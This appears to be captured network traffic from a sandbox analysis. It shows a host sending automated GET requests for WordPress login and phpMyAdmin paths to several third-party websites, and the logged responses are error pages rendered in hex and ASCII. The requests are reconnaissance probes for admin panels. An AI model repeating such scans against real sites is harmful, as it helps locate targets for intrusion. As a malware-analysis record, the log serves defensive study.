2023-12-20 02:13:29 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.4	59656	162.159.134.42	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	178	OUT	GET /wp-login.php HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	893	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845dcb3a4609f2-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LRfHHrHcZ4Rrp%2F8becT%2BY2Aeb%2BWWMySYSfkEBLagj7pRTzCy9tLMDxjBPOIJtHzCJEuBbtBiRhHahLBLy%2BENmj7zZbDSvD9sYeIT2vpoLR5v8mqvol2z97fxFWmSxmoJGHM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:29 UTC	476	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 Data Ascii: tml; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cg
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 76 65 72 66 6c 6f 77 2d 68 69 64 64 65 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d 6e 6f 6e 65 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 6c 61 74 69 76 65 20 6d 62 2d 31 30 20 6d 64 3a 6d 2d 30 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 62 72 6f 77 73 65 72 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 6f 20 6d 64 3a Data Ascii: verflow-hidden float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 43 6c 6f 75 64 66 6c 61 72 65 0a 20 20 20 20 3c 2f 61 3e 0a 20 20 3c 2f 68 33 3e 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 65 65 6e 2d 73 75 63 63 65 73 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c Data Ascii: 5xx-error-landing?utm_source=errorcode_520&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-status" cl
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 20 61 6e 64 20 74 68 65 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 41 73 20 61 20 72 65 73 75 6c 74 2c 20 74 68 65 20 77 65 62 20 70 61 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 20 6d 64 3a 77 2d 66 75 6c 6c 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6c 65 61 64 69 6e 67 2d 72 65 6c 61 78 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e Data Ascii: loudflare and the origin web server. As a result, the web page can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">
2023-12-20 02:13:29 UTC	1237	IN	Data Raw: 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 33 38 34 35 64 63 62 35 32 61 30 30 39 66 32 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 Data Ascii: y ID: <strong class="font-semibold">83845dcb52a009f2</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button"

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.4	59678	162.159.134.42	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	177	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: directa-plus.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	886	IN	HTTP/1.1 520 Date: Wed, 20 Dec 2023 02:13:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7189 Connection: close CF-Ray: 83845dcb69412583-MIA Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Vary: Accept-Encoding ki-cache-type: None ki-edge: v=20.2.5;mv=3.0.1 ki-origin: g1p Referrer-Policy: same-origin X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4gqq%2FFAgUCi6e5C%2FM0q2I4pIXNkje5CKwwnFRB6bTuDR6tLdNyE7UMjhYXzfnk5dKOxIvmezBuru0o2j473SsGrwrF0k911XHdfMsZBeS8%2FUvL9DKBHET2yrDV89u2VdkBk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:29 UTC	483	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 Data Ascii: arset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/style
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 2d 68 69 64 64 65 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d 6e 6f 6e 65 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 6c 61 74 69 76 65 20 6d 62 2d 31 30 20 6d 64 3a 6d 2d 30 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 62 72 6f 77 73 65 72 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 6f 20 6d 64 3a 72 69 67 68 74 2d 30 Data Ascii: -hidden float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 6f 72 2d 6c 61 6e 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 43 6c 6f 75 64 66 6c 61 72 65 0a 20 20 20 20 3c 2f 61 3e 0a 20 20 3c 2f 68 33 3e 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 65 65 6e 2d 73 75 63 63 65 73 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c 61 73 73 3d 22 63 66 Data Ascii: or-landing?utm_source=errorcode_520&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-status" class="cf
2023-12-20 02:13:29 UTC	1369	IN	Data Raw: 72 65 20 61 6e 64 20 74 68 65 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 41 73 20 61 20 72 65 73 75 6c 74 2c 20 74 68 65 20 77 65 62 20 70 61 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 20 6d 64 3a 77 2d 66 75 6c 6c 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6c 65 61 64 69 6e 67 2d 72 65 6c 61 78 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e 57 68 61 74 20 63 61 Data Ascii: re and the origin web server. As a result, the web page can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">What ca
2023-12-20 02:13:29 UTC	1230	IN	Data Raw: 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 33 38 34 35 64 63 62 61 35 66 61 32 35 38 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d Data Ascii: strong class="font-semibold">83845dcba5fa2583</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.4	59625	34.149.87.45	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:29 UTC	184	OUT	GET /phpMyAdmin HTTP/1.1 Host: www.newriverclimbing.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:29 UTC	1086	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Content-Language: en Strict-Transport-Security: max-age=3600 X-Wix-Request-Id: 1703038409.55816553568833023429 Age: 0 Cache-Control: no-cache Server: Pepyaka/1.19.10 X-Content-Type-Options: nosniff Accept-Ranges: bytes Date: Wed, 20 Dec 2023 02:13:29 GMT X-Served-By: cache-dfw-kdfw8210150-DFW X-Cache: MISS Vary: Accept-Encoding Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqMQhUjPXFZZ6QMfhZ0ZUmYa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalqGyY36XJ7gOwVe0bLQXtjTSJPbf82bsb6B2sopBWZ82S3V6/8eVQe65nonc+dxBAA==,2UNV7KOq4oGjA5+PKsX47K15rLvEnClnBsBBVIBt3LYfbJaKSXYQ/lskq2jK6SGP,HGBagNbHaHjyb4d/UK6fckbYqB6/hwX5/SRH1bPtEcQ=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng== Transfer-Encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2023-12-20 02:13:29 UTC	166	IN	Data Raw: 62 37 31 0d 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 Data Ascii: b71 ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-sc
2023-12-20 02:13:29 UTC	1252	IN	Data Raw: 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 20 6e 67 2d 62 69 6e 64 3d 22 27 70 61 67 65 5f 74 69 74 6c 65 27 20 7c 20 74 72 61 6e 73 6c 61 74 65 22 3e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 Data Ascii: ale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title ng-bind="'page_title' \| translate"></title> <meta name="description" content=""> <meta name="viewport" content="width=device-width">
2023-12-20 02:13:29 UTC	1252	IN	Data Raw: 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 6a 73 2f 31 2e 32 2e 32 38 2f 69 31 38 6e 2f 61 6e 67 75 6c 61 72 2d 6c 6f 63 61 6c 65 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2f 31 2e 31 2e 31 2f 61 6e 67 75 6c 61 72 2d 74 72 61 6e 73 6c 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 Data Ascii: vices/third-party/angularjs/1.2.28/i18n/angular-locale_en.js"></script><script src="//static.parastorage.com/services/third-party/angular-translate/1.1.1/angular-translate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719
2023-12-20 02:13:29 UTC	271	IN	Data Raw: 72 72 65 64 3c 2f 68 31 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 6e 2d 61 6e 67 75 6c 61 72 2d 73 75 70 70 6f 72 74 65 64 2d 62 72 6f 77 73 65 72 2d 6c 69 6e 6b 22 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 3e 52 65 67 61 72 64 6c 65 73 73 2c 20 77 65 20 72 65 63 6f 6d 6d 65 6e 64 20 79 6f 75 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 62 72 6f 77 73 65 68 61 70 70 79 2e 63 6f 6d 2f 22 3e 75 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 3c 2f 61 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 21 2d 2d 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 21 2d 2d 20 65 6e 64 20 76 65 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e Data Ascii: rred</h1> <div class="non-angular-supported-browser-link"> <span>Regardless, we recommend you to <a href="http://browsehappy.com/">update your browser.</a></span> </div> </div></div>... verification -->... end verification --></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.4	59718	104.21.20.204	443

Timestamp	Bytes transferred	Direction	Data
